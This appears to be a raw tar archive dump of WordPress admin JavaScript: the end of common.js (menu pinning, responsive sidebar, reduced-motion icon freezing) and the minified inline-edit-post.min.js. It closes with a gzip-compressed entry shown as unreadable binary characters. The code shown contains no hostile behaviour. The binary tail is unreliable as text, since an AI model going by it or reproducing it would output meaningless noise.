		// Cancel the regular tab functionality, to prevent losing focus of the textarea.
		if ( e.stopPropagation )
			e.stopPropagation();
		if ( e.preventDefault )
			e.preventDefault();
	});

	// Reset page number variable for new filters/searches but not for bulk actions. See #17685.
	if ( pageInput.length ) {

		/**
		 * Handles pagination variable when filtering the list table.
		 *
		 * Set the pagination argument to the first page when the post-filter form is submitted.
		 * This happens when pressing the 'filter' button on the list table page.
		 *
		 * The pagination argument should not be touched when the bulk action dropdowns are set to do anything.
		 *
		 * The form closest to the pageInput is the post-filter form.
		 *
		 * @return {void}
		 */
		pageInput.closest('form').on( 'submit', function() {
			/*
			 * action = bulk action dropdown at the top of the table
			 */
			if ( $('select[name="action"]').val() == -1 && pageInput.val() == currentPage )
				pageInput.val('1');
		});
	}

	/**
	 * Resets the bulk actions when the search button is clicked.
	 *
	 * @return {void}
	 */
	$('.search-box input[type="search"], .search-box input[type="submit"]').on( 'mousedown', function () {
		$('select[name^="action"]').val('-1');
	});

	/**
	 * Scrolls into view when focus.scroll-into-view is triggered.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
 	 */
	$('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){
		if ( e.target.scrollIntoViewIfNeeded )
			e.target.scrollIntoViewIfNeeded(false);
	});

	/**
	 * Disables the submit upload buttons when no data is entered.
	 *
	 * @return {void}
	 */
	(function(){
		var button, input, form = $('form.wp-upload-form');

		// Exit when no upload form is found.
		if ( ! form.length )
			return;

		button = form.find('input[type="submit"]');
		input = form.find('input[type="file"]');

		/**
		 * Determines if any data is entered in any file upload input.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		function toggleUploadButton() {
			// When no inputs have a value, disable the upload buttons.
			button.prop('disabled', '' === input.map( function() {
				return $(this).val();
			}).get().join(''));
		}

		// Update the status initially.
		toggleUploadButton();
		// Update the status when any file input changes.
		input.on('change', toggleUploadButton);
	})();

	/**
	 * Pins the menu while distraction-free writing is enabled.
	 *
	 * @param {Event} event Event data.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function pinMenu( event ) {
		var windowPos = $window.scrollTop(),
			resizing = ! event || event.type !== 'scroll';

		if ( isIOS || $adminmenu.data( 'wp-responsive' ) ) {
			return;
		}

		/*
		 * When the menu is higher than the window and smaller than the entire page.
		 * It should be adjusted to be able to see the entire menu.
		 *
		 * Otherwise it can be accessed normally.
		 */
		if ( height.menu + height.adminbar < height.window ||
			height.menu + height.adminbar + 20 > height.wpwrap ) {
			unpinMenu();
			return;
		}

		menuIsPinned = true;

		// If the menu is higher than the window, compensate on scroll.
		if ( height.menu + height.adminbar > height.window ) {
			// Check for overscrolling, this happens when swiping up at the top of the document in modern browsers.
			if ( windowPos < 0 ) {
				// Stick the menu to the top.
				if ( ! pinnedMenuTop ) {
					pinnedMenuTop = true;
					pinnedMenuBottom = false;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: ''
					});
				}

				return;
			} else if ( windowPos + height.window > $document.height() - 1 ) {
				// When overscrolling at the bottom, stick the menu to the bottom.
				if ( ! pinnedMenuBottom ) {
					pinnedMenuBottom = true;
					pinnedMenuTop = false;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: 0
					});
				}

				return;
			}

			if ( windowPos > lastScrollPosition ) {
				// When a down scroll has been detected.

				// If it was pinned to the top, unpin and calculate relative scroll.
				if ( pinnedMenuTop ) {
					pinnedMenuTop = false;
					// Calculate new offset position.
					menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition );

					if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) {
						menuTop = windowPos + height.window - height.menu - height.adminbar;
					}

					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) {
					// Pin it to the bottom.
					pinnedMenuBottom = true;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: 0
					});
				}
			} else if ( windowPos < lastScrollPosition ) {
				// When a scroll up is detected.

				// If it was pinned to the bottom, unpin and calculate relative scroll.
				if ( pinnedMenuBottom ) {
					pinnedMenuBottom = false;

					// Calculate new offset position.
					menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos );

					if ( menuTop + height.menu > windowPos + height.window ) {
						menuTop = windowPos;
					}

					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) {

					// Pin it to the top.
					pinnedMenuTop = true;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: ''
					});
				}
			} else if ( resizing ) {
				// Window is being resized.

				pinnedMenuTop = pinnedMenuBottom = false;

				// Calculate the new offset.
				menuTop = windowPos + height.window - height.menu - height.adminbar - 1;

				if ( menuTop > 0 ) {
					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else {
					unpinMenu();
				}
			}
		}

		lastScrollPosition = windowPos;
	}

	/**
	 * Determines the height of certain elements.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function resetHeights() {
		height = {
			window: $window.height(),
			wpwrap: $wpwrap.height(),
			adminbar: $adminbar.height(),
			menu: $adminMenuWrap.height()
		};
	}

	/**
	 * Unpins the menu.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function unpinMenu() {
		if ( isIOS || ! menuIsPinned ) {
			return;
		}

		pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false;
		$adminMenuWrap.css({
			position: '',
			top: '',
			bottom: ''
		});
	}

	/**
	 * Pins and unpins the menu when applicable.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function setPinMenu() {
		resetHeights();

		if ( $adminmenu.data('wp-responsive') ) {
			$body.removeClass( 'sticky-menu' );
			unpinMenu();
		} else if ( height.menu + height.adminbar > height.window ) {
			pinMenu();
			$body.removeClass( 'sticky-menu' );
		} else {
			$body.addClass( 'sticky-menu' );
			unpinMenu();
		}
	}

	if ( ! isIOS ) {
		$window.on( 'scroll.pin-menu', pinMenu );
		$document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) {
			editor.on( 'wp-autoresize', resetHeights );
		});
	}

	/**
	 * Changes the sortables and responsiveness of metaboxes.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	window.wpResponsive = {

		/**
		 * Initializes the wpResponsive object.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		init: function() {
			var self = this;

			this.maybeDisableSortables = this.maybeDisableSortables.bind( this );

			// Modify functionality based on custom activate/deactivate event.
			$document.on( 'wp-responsive-activate.wp-responsive', function() {
				self.activate();
			}).on( 'wp-responsive-deactivate.wp-responsive', function() {
				self.deactivate();
			});

			$( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' );

			// Toggle sidebar when toggle is clicked.
			$( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) {
				event.preventDefault();

				// Close any open toolbar submenus.
				$adminbar.find( '.hover' ).removeClass( 'hover' );

				$wpwrap.toggleClass( 'wp-responsive-open' );
				if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) {
					$(this).find('a').attr( 'aria-expanded', 'true' );
					$( '#adminmenu a:first' ).trigger( 'focus' );
				} else {
					$(this).find('a').attr( 'aria-expanded', 'false' );
				}
			} );

			// Close sidebar when target moves outside of toggle and sidebar.
			$( document ).on( 'click', function( event ) {
				if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) || ! document.hasFocus() ) {
					return;
				}

				var focusIsInToggle  = $.contains( $( '#wp-admin-bar-menu-toggle' )[0], event.target );
				var focusIsInSidebar = $.contains( $( '#adminmenuwrap' )[0], event.target );

				if ( ! focusIsInToggle && ! focusIsInSidebar ) {
					$( '#wp-admin-bar-menu-toggle' ).trigger( 'click.wp-responsive' );
				}
			} );

			// Close sidebar when a keypress completes outside of toggle and sidebar.
			$( document ).on( 'keyup', function( event ) {
				var toggleButton   = $( '#wp-admin-bar-menu-toggle' )[0];
				if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) ) {
				    return;
				}
				if ( 27 === event.keyCode ) {
					$( toggleButton ).trigger( 'click.wp-responsive' );
					$( toggleButton ).find( 'a' ).trigger( 'focus' );
				} else {
					if ( 9 === event.keyCode ) {
						var sidebar        = $( '#adminmenuwrap' )[0];
						var focusedElement = event.relatedTarget || document.activeElement;
						// A brief delay is required to allow focus to switch to another element.
						setTimeout( function() {
							var focusIsInToggle  = $.contains( toggleButton, focusedElement );
							var focusIsInSidebar = $.contains( sidebar, focusedElement );
							
							if ( ! focusIsInToggle && ! focusIsInSidebar ) {
								$( toggleButton ).trigger( 'click.wp-responsive' );
							}
						}, 10 );
					}
				}
			});

			// Add menu events.
			$adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) {
				if ( ! $adminmenu.data('wp-responsive') ) {
					return;
				}

				$( this ).parent( 'li' ).toggleClass( 'selected' );
				$( this ).trigger( 'focus' );
				event.preventDefault();
			});

			self.trigger();
			$document.on( 'wp-window-resized.wp-responsive', this.trigger.bind( this ) );

			// This needs to run later as UI Sortable may be initialized when the document is ready.
			$window.on( 'load.wp-responsive', this.maybeDisableSortables );
			$document.on( 'postbox-toggled', this.maybeDisableSortables );

			// When the screen columns are changed, potentially disable sortables.
			$( '#screen-options-wrap input' ).on( 'click', this.maybeDisableSortables );
		},

		/**
		 * Disable sortables if there is only one metabox, or the screen is in one column mode. Otherwise, enable sortables.
		 *
		 * @since 5.3.0
		 *
		 * @return {void}
		 */
		maybeDisableSortables: function() {
			var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth;

			if (
				( width <= 782 ) ||
				( 1 >= $sortables.find( '.ui-sortable-handle:visible' ).length && jQuery( '.columns-prefs-1 input' ).prop( 'checked' ) )
			) {
				this.disableSortables();
			} else {
				this.enableSortables();
			}
		},

		/**
		 * Changes properties of body and admin menu.
		 *
		 * Pins and unpins the menu and adds the auto-fold class to the body.
		 * Makes the admin menu responsive and disables the metabox sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		activate: function() {
			setPinMenu();

			if ( ! $body.hasClass( 'auto-fold' ) ) {
				$body.addClass( 'auto-fold' );
			}

			$adminmenu.data( 'wp-responsive', 1 );
			this.disableSortables();
		},

		/**
		 * Changes properties of admin menu and enables metabox sortables.
		 *
		 * Pin and unpin the menu.
		 * Removes the responsiveness of the admin menu and enables the metabox sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		deactivate: function() {
			setPinMenu();
			$adminmenu.removeData('wp-responsive');

			this.maybeDisableSortables();
		},

		/**
		 * Sets the responsiveness and enables the overlay based on the viewport width.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		trigger: function() {
			var viewportWidth = getViewportWidth();

			// Exclude IE < 9, it doesn't support @media CSS rules.
			if ( ! viewportWidth ) {
				return;
			}

			if ( viewportWidth <= 782 ) {
				if ( ! wpResponsiveActive ) {
					$document.trigger( 'wp-responsive-activate' );
					wpResponsiveActive = true;
				}
			} else {
				if ( wpResponsiveActive ) {
					$document.trigger( 'wp-responsive-deactivate' );
					wpResponsiveActive = false;
				}
			}

			if ( viewportWidth <= 480 ) {
				this.enableOverlay();
			} else {
				this.disableOverlay();
			}

			this.maybeDisableSortables();
		},

		/**
		 * Inserts a responsive overlay and toggles the window.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		enableOverlay: function() {
			if ( $overlay.length === 0 ) {
				$overlay = $( '<div id="wp-responsive-overlay"></div>' )
					.insertAfter( '#wpcontent' )
					.hide()
					.on( 'click.wp-responsive', function() {
						$toolbar.find( '.menupop.hover' ).removeClass( 'hover' );
						$( this ).hide();
					});
			}

			$toolbarPopups.on( 'click.wp-responsive', function() {
				$overlay.show();
			});
		},

		/**
		 * Disables the responsive overlay and removes the overlay.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		disableOverlay: function() {
			$toolbarPopups.off( 'click.wp-responsive' );
			$overlay.hide();
		},

		/**
		 * Disables sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		disableSortables: function() {
			if ( $sortables.length ) {
				try {
					$sortables.sortable( 'disable' );
					$sortables.find( '.ui-sortable-handle' ).addClass( 'is-non-sortable' );
				} catch ( e ) {}
			}
		},

		/**
		 * Enables sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		enableSortables: function() {
			if ( $sortables.length ) {
				try {
					$sortables.sortable( 'enable' );
					$sortables.find( '.ui-sortable-handle' ).removeClass( 'is-non-sortable' );
				} catch ( e ) {}
			}
		}
	};

	/**
	 * Add an ARIA role `button` to elements that behave like UI controls when JavaScript is on.
	 *
	 * @since 4.5.0
	 *
	 * @return {void}
	 */
	function aria_button_if_js() {
		$( '.aria-button-if-js' ).attr( 'role', 'button' );
	}

	$( document ).on( 'ajaxComplete', function() {
		aria_button_if_js();
	});

	/**
	 * Get the viewport width.
	 *
	 * @since 4.7.0
	 *
	 * @return {number|boolean} The current viewport width or false if the
	 *                          browser doesn't support innerWidth (IE < 9).
	 */
	function getViewportWidth() {
		var viewportWidth = false;

		if ( window.innerWidth ) {
			// On phones, window.innerWidth is affected by zooming.
			viewportWidth = Math.max( window.innerWidth, document.documentElement.clientWidth );
		}

		return viewportWidth;
	}

	/**
	 * Sets the admin menu collapsed/expanded state.
	 *
	 * Sets the global variable `menuState` and triggers a custom event passing
	 * the current menu state.
	 *
	 * @since 4.7.0
	 *
	 * @return {void}
	 */
	function setMenuState() {
		var viewportWidth = getViewportWidth() || 961;

		if ( viewportWidth <= 782  ) {
			menuState = 'responsive';
		} else if ( $body.hasClass( 'folded' ) || ( $body.hasClass( 'auto-fold' ) && viewportWidth <= 960 && viewportWidth > 782 ) ) {
			menuState = 'folded';
		} else {
			menuState = 'open';
		}

		$document.trigger( 'wp-menu-state-set', { state: menuState } );
	}

	// Set the menu state when the window gets resized.
	$document.on( 'wp-window-resized.set-menu-state', setMenuState );

	/**
	 * Sets ARIA attributes on the collapse/expand menu button.
	 *
	 * When the admin menu is open or folded, updates the `aria-expanded` and
	 * `aria-label` attributes of the button to give feedback to assistive
	 * technologies. In the responsive view, the button is always hidden.
	 *
	 * @since 4.7.0
	 *
	 * @return {void}
	 */
	$document.on( 'wp-menu-state-set wp-collapse-menu', function( event, eventData ) {
		var $collapseButton = $( '#collapse-button' ),
			ariaExpanded, ariaLabelText;

		if ( 'folded' === eventData.state ) {
			ariaExpanded = 'false';
			ariaLabelText = __( 'Expand Main menu' );
		} else {
			ariaExpanded = 'true';
			ariaLabelText = __( 'Collapse Main menu' );
		}

		$collapseButton.attr({
			'aria-expanded': ariaExpanded,
			'aria-label': ariaLabelText
		});
	});

	window.wpResponsive.init();
	setPinMenu();
	setMenuState();
	currentMenuItemHasPopup();
	makeNoticesDismissible();
	aria_button_if_js();

	$document.on( 'wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu );

	// Set initial focus on a specific element.
	$( '.wp-initial-focus' ).trigger( 'focus' );

	// Toggle update details on update-core.php.
	$body.on( 'click', '.js-update-details-toggle', function() {
		var $updateNotice = $( this ).closest( '.js-update-details' ),
			$progressDiv = $( '#' + $updateNotice.data( 'update-details' ) );

		/*
		 * When clicking on "Show details" move the progress div below the update
		 * notice. Make sure it gets moved just the first time.
		 */
		if ( ! $progressDiv.hasClass( 'update-details-moved' ) ) {
			$progressDiv.insertAfter( $updateNotice ).addClass( 'update-details-moved' );
		}

		// Toggle the progress div visibility.
		$progressDiv.toggle();
		// Toggle the Show Details button expanded state.
		$( this ).attr( 'aria-expanded', $progressDiv.is( ':visible' ) );
	});
});

/**
 * Hides the update button for expired plugin or theme uploads.
 *
 * On the "Update plugin/theme from uploaded zip" screen, once the upload has expired,
 * hides the "Replace current with uploaded" button and displays a warning.
 *
 * @since 5.5.0
 */
$( function( $ ) {
	var $overwrite, $warning;

	if ( ! $body.hasClass( 'update-php' ) ) {
		return;
	}

	$overwrite = $( 'a.update-from-upload-overwrite' );
	$warning   = $( '.update-from-upload-expired' );

	if ( ! $overwrite.length || ! $warning.length ) {
		return;
	}

	window.setTimeout(
		function() {
			$overwrite.hide();
			$warning.removeClass( 'hidden' );

			if ( window.wp && window.wp.a11y ) {
				window.wp.a11y.speak( $warning.text() );
			}
		},
		7140000 // 119 minutes. The uploaded file is deleted after 2 hours.
	);
} );

// Fire a custom jQuery event at the end of window resize.
( function() {
	var timeout;

	/**
	 * Triggers the WP window-resize event.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	function triggerEvent() {
		$document.trigger( 'wp-window-resized' );
	}

	/**
	 * Fires the trigger event again after 200 ms.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	function fireOnce() {
		window.clearTimeout( timeout );
		timeout = window.setTimeout( triggerEvent, 200 );
	}

	$window.on( 'resize.wp-fire-once', fireOnce );
}());

// Make Windows 8 devices play along nicely.
(function(){
	if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) {
		var msViewportStyle = document.createElement( 'style' );
		msViewportStyle.appendChild(
			document.createTextNode( '@-ms-viewport{width:auto!important}' )
		);
		document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle );
	}
})();

}( jQuery, window ));

/**
 * Freeze animated plugin icons when reduced motion is enabled.
 *
 * When the user has enabled the 'prefers-reduced-motion' setting, this module
 * stops animations for all GIFs on the page with the class 'plugin-icon' or
 * plugin icon images in the update plugins table.
 *
 * @since 6.4.0
 */
(function() {
	// Private variables and methods.
	var priv = {},
		pub = {},
		mediaQuery;

	// Initialize pauseAll to false; it will be set to true if reduced motion is preferred.
	priv.pauseAll = false;
	if ( window.matchMedia ) {
		mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
		if ( ! mediaQuery || mediaQuery.matches ) {
			priv.pauseAll = true;
		}
	}

	// Method to replace animated GIFs with a static frame.
	priv.freezeAnimatedPluginIcons = function( img ) {
		var coverImage = function() {
			var width = img.width;
			var height = img.height;
			var canvas = document.createElement( 'canvas' );

			// Set canvas dimensions.
			canvas.width = width;
			canvas.height = height;

			// Copy classes from the image to the canvas.
			canvas.className = img.className;

			// Check if the image is inside a specific table.
			var isInsideUpdateTable = img.closest( '#update-plugins-table' );

			if ( isInsideUpdateTable ) {
				// Transfer computed styles from image to canvas.
				var computedStyles = window.getComputedStyle( img ),
					i, max;
				for ( i = 0, max = computedStyles.length; i < max; i++ ) {
					var propName = computedStyles[ i ];
					var propValue = computedStyles.getPropertyValue( propName );
					canvas.style[ propName ] = propValue;
				}
			}

			// Draw the image onto the canvas.
			canvas.getContext( '2d' ).drawImage( img, 0, 0, width, height );

			// Set accessibility attributes on canvas.
			canvas.setAttribute( 'aria-hidden', 'true' );
			canvas.setAttribute( 'role', 'presentation' );

			// Insert canvas before the image and set the image to be near-invisible.
			var parent = img.parentNode;
			parent.insertBefore( canvas, img );
			img.style.opacity = 0.01;
			img.style.width = '0px';
			img.style.height = '0px';
		};

		// If the image is already loaded, apply the coverImage function.
		if ( img.complete ) {
			coverImage();
		} else {
			// Otherwise, wait for the image to load.
			img.addEventListener( 'load', coverImage, true );
		}
	};

	// Public method to freeze all relevant GIFs on the page.
	pub.freezeAll = function() {
		var images = document.querySelectorAll( '.plugin-icon, #update-plugins-table img' );
		for ( var x = 0; x < images.length; x++ ) {
			if ( /\.gif(?:\?|$)/i.test( images[ x ].src ) ) {
				priv.freezeAnimatedPluginIcons( images[ x ] );
			}
		}
	};

	// Only run the freezeAll method if the user prefers reduced motion.
	if ( true === priv.pauseAll ) {
		pub.freezeAll();
	}

	// Listen for jQuery AJAX events.
	( function( $ ) {
		if ( window.pagenow === 'plugin-install' ) {
			// Only listen for ajaxComplete if this is the plugin-install.php page.
			$( document ).ajaxComplete( function( event, xhr, settings ) {

				// Check if this is the 'search-install-plugins' request.
				if ( settings.data && typeof settings.data === 'string' && settings.data.includes( 'action=search-install-plugins' ) ) {
					// Recheck if the user prefers reduced motion.
					if ( window.matchMedia ) {
						var mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
						if ( mediaQuery.matches ) {
							pub.freezeAll();
						}
					} else {
						// Fallback for browsers that don't support matchMedia.
						if ( true === priv.pauseAll ) {
							pub.freezeAll();
						}
					}
				}
			} );
		}
	} )( jQuery );

	// Expose public methods.
	return pub;
})();
inline-edit-post.min.js000064400000020345150276633110011060 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},function(u,h){window.inlineEditPost={init:function(){var i=this,t=u("#inline-edit"),e=u("#bulk-edit");i.type=u("table.widefat").hasClass("pages")?"page":"post",i.what="#post-",t.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),e.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),u(".cancel",t).on("click",function(){return inlineEditPost.revert()}),u(".save",t).on("click",function(){return inlineEditPost.save(this)}),u("td",t).on("keydown",function(t){if(13===t.which&&!u(t.target).hasClass("cancel"))return inlineEditPost.save(this)}),u(".cancel",e).on("click",function(){return inlineEditPost.revert()}),u('#inline-edit .inline-edit-private input[value="private"]').on("click",function(){var t=u("input.inline-edit-password-input");u(this).prop("checked")?t.val("").prop("disabled",!0):t.prop("disabled",!1)}),u("#the-list").on("click",".editinline",function(){u(this).attr("aria-expanded","true"),inlineEditPost.edit(this)}),u("#bulk-edit").find("fieldset:first").after(u("#inline-edit fieldset.inline-edit-categories").clone()).siblings("fieldset:last").prepend(u("#inline-edit .inline-edit-tags-wrap").clone()),u('select[name="_status"] option[value="future"]',e).remove(),u("#doaction").on("click",function(t){var e;i.whichBulkButtonId=u(this).attr("id"),e=i.whichBulkButtonId.substr(2),"edit"===u('select[name="'+e+'"]').val()?(t.preventDefault(),i.setBulk()):0<u("form#posts-filter tr.inline-editor").length&&i.revert()})},toggle:function(t){var e=this;"none"===u(e.what+e.getId(t)).css("display")?e.revert():e.edit(t)},setBulk:function(){var n="",t=this.type,a=!0;if(this.revert(),u("#bulk-edit td").attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("table.widefat tbody").prepend(u("#bulk-edit")).prepend('<tr class="hidden"></tr>'),u("#bulk-edit").addClass("inline-editor").show(),u('tbody th.check-column input[type="checkbox"]').each(function(){var t,e,i;u(this).prop("checked")&&(a=!1,t=u(this).val(),e=u("#inline_"+t+" .post_title").html()||h.i18n.__("(no title)"),i=h.i18n.sprintf(h.i18n.__("Remove &#8220;%s&#8221; from Bulk Edit"),e),n+='<li class="ntdelitem"><button type="button" id="_'+t+'" class="button-link ntdelbutton"><span class="screen-reader-text">'+i+'</span></button><span class="ntdeltitle" aria-hidden="true">'+e+"</span></li>")}),a)return this.revert();u("#bulk-titles").html('<ul id="bulk-titles-list" role="list">'+n+"</ul>"),u("#bulk-titles .ntdelbutton").click(function(){var t=u(this),e=t.attr("id").substr(1),i=t.parent().prev().children(".ntdelbutton"),t=t.parent().next().children(".ntdelbutton");u('table.widefat input[value="'+e+'"]').prop("checked",!1),u("#_"+e).parent().remove(),h.a11y.speak(h.i18n.__("Item removed."),"assertive"),t.length?t.focus():i.length?i.focus():(u("#bulk-titles-list").remove(),inlineEditPost.revert(),h.a11y.speak(h.i18n.__("All selected items have been removed. Select new items to use Bulk Actions.")))}),"post"===t&&u("tr.inline-editor textarea[data-wp-taxonomy]").each(function(t,e){u(e).autocomplete("instance")||u(e).wpTagsSuggest()}),u("#bulk-edit .inline-edit-wrapper").attr("tabindex","-1").focus(),u("html, body").animate({scrollTop:0},"fast")},edit:function(n){var t,a,e,i,s,r,l,o,d=this,p=!0;for(d.revert(),"object"==typeof n&&(n=d.getId(n)),t=["post_title","post_name","post_author","_status","jj","mm","aa","hh","mn","ss","post_password","post_format","menu_order","page_template"],"page"===d.type&&t.push("post_parent"),a=u("#inline-edit").clone(!0),u("td",a).attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("td",a).find("#quick-edit-legend").removeAttr("id"),u("td",a).find('p[id^="quick-edit-"]').removeAttr("id"),u(d.what+n).removeClass("is-expanded").hide().after(a).after('<tr class="hidden"></tr>'),e=u("#inline_"+n),u(':input[name="post_author"] option[value="'+u(".post_author",e).text()+'"]',a).val()||u(':input[name="post_author"]',a).prepend('<option value="'+u(".post_author",e).text()+'">'+u("#post-"+n+" .author").text()+"</option>"),1===u(':input[name="post_author"] option',a).length&&u("label.inline-edit-author",a).hide(),l=0;l<t.length;l++)(o=u("."+t[l],e)).find("img").replaceWith(function(){return this.alt}),o=o.text(),u(':input[name="'+t[l]+'"]',a).val(o);"open"===u(".comment_status",e).text()&&u('input[name="comment_status"]',a).prop("checked",!0),"open"===u(".ping_status",e).text()&&u('input[name="ping_status"]',a).prop("checked",!0),"sticky"===u(".sticky",e).text()&&u('input[name="sticky"]',a).prop("checked",!0),u(".post_category",e).each(function(){var t,e=u(this).text();e&&(t=u(this).attr("id").replace("_"+n,""),u("ul."+t+"-checklist :checkbox",a).val(e.split(",")))}),u(".tags_input",e).each(function(){var t=u(this),e=u(this).attr("id").replace("_"+n,""),e=u("textarea.tax_input_"+e,a),i=h.i18n._x(",","tag delimiter").trim();e.length&&(t.find("img").replaceWith(function(){return this.alt}),(t=t.text())&&(","!==i&&(t=t.replace(/,/g,i)),e.val(t)),e.wpTagsSuggest())});var c,d=u(':input[name="aa"]').val()+"-"+u(':input[name="mm"]').val()+"-"+u(':input[name="jj"]').val(),d=(d+=" "+u(':input[name="hh"]').val()+":"+u(':input[name="mn"]').val()+":"+u(':input[name="ss"]').val(),new Date(d));if(("future"!==(c=u("._status",e).text())&&Date.now()>d?u('select[name="_status"] option[value="future"]',a):u('select[name="_status"] option[value="publish"]',a)).remove(),d=u(".inline-edit-password-input").prop("disabled",!1),"private"===c&&(u('input[name="keep_private"]',a).prop("checked",!0),d.val("").prop("disabled",!0)),0<(i=u('select[name="post_parent"] option[value="'+n+'"]',a)).length){for(s=i[0].className.split("-")[1],r=i;p&&0!==(r=r.next("option")).length;)r[0].className.split("-")[1]<=s?p=!1:(r.remove(),r=i);i.remove()}return u(a).attr("id","edit-"+n).addClass("inline-editor").show(),u(".ptitle",a).trigger("focus"),!1},save:function(n){var t=u(".post_status_page").val()||"";return"object"==typeof n&&(n=this.getId(n)),u("table.widefat .spinner").addClass("is-active"),t={action:"inline-save",post_type:typenow,post_ID:n,edit_date:"true",post_status:t},t=u("#edit-"+n).find(":input").serialize()+"&"+u.param(t),u.post(ajaxurl,t,function(t){var e=u("#edit-"+n+" .inline-edit-save .notice-error"),i=e.find(".error");u("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(u(inlineEditPost.what+n).siblings("tr.hidden").addBack().remove(),u("#edit-"+n).before(t).remove(),u(inlineEditPost.what+n).hide().fadeIn(400,function(){u(this).find(".editinline").attr("aria-expanded","false").trigger("focus"),h.a11y.speak(h.i18n.__("Changes saved."))})):(t=t.replace(/<.[^<>]*?>/g,""),e.removeClass("hidden"),i.html(t),h.a11y.speak(i.text())):(e.removeClass("hidden"),i.text(h.i18n.__("Error while saving the changes.")),h.a11y.speak(h.i18n.__("Error while saving the changes.")))},"html"),!1},revert:function(){var t=u(".widefat"),e=u(".inline-editor",t).attr("id");return e&&(u(".spinner",t).removeClass("is-active"),("bulk-edit"===e?(u("#bulk-edit",t).removeClass("inline-editor").hide().siblings(".hidden").remove(),u("#bulk-titles").empty(),u("#inlineedit").append(u("#bulk-edit")),u("#"+inlineEditPost.whichBulkButtonId)):(u("#"+e).siblings("tr.hidden").addBack().remove(),e=e.substr(e.lastIndexOf("-")+1),u(this.what+e).show().find(".editinline").attr("aria-expanded","false"))).trigger("focus")),!1},getId:function(t){t=u(t).closest("tr").attr("id").split("-");return t[t.length-1]}},u(function(){inlineEditPost.init()}),u(function(){void 0!==h&&h.heartbeat&&h.heartbeat.interval(15)}).on("heartbeat-tick.wp-check-locked-posts",function(t,e){var n=e["wp-check-locked-posts"]||{};u("#the-list tr").each(function(t,e){var i=e.id,e=u(e);n.hasOwnProperty(i)?e.hasClass("wp-locked")||(i=n[i],e.find(".column-title .locked-text").text(i.text),e.find(".check-column checkbox").prop("checked",!1),i.avatar_src&&(i=u("<img />",{class:"avatar avatar-18 photo",width:18,height:18,alt:"",src:i.avatar_src,srcset:i.avatar_src_2x?i.avatar_src_2x+" 2x":void 0}),e.find(".column-title .locked-avatar").empty().append(i)),e.addClass("wp-locked")):e.hasClass("wp-locked")&&e.removeClass("wp-locked").find(".locked-info span").empty()})}).on("heartbeat-send.wp-check-locked-posts",function(t,e){var i=[];u("#the-list tr").each(function(t,e){e.id&&i.push(e.id)}),i.length&&(e["wp-check-locked-posts"]=i)})}(jQuery,window.wp);editor-expand.js.js.tar.gz000064400000023560150276633110011476 0ustar00��=kw�6��U��n�Ȯ%�ΫS'N'g�M;�֞�=s��Pe��I-I����{_.@P��C}��.����pZ�e;E��M�;�*�����U6Mʳ���0�����/�N6͛�f����~�����.�ݻs'�~w���_�i���{���{oo���ݽ�e��v�W��������_l$_$-��b�$����lll&�e1i��L��bZ����dYL�Y^d�d+y���/�,��*�4����i�����Ar�TM����i9Y�eEß���<�����z3N�����e���_�e`F�
b��Is�%@���$)g��#a9*��:/&Yrg�;�u/��YVE��m�O�㫝��M����J�?��n��[@ũt�wsR
��*���C�m�6e9�#�dv�-�6���d���C*��7�Ec��l��9�r	U
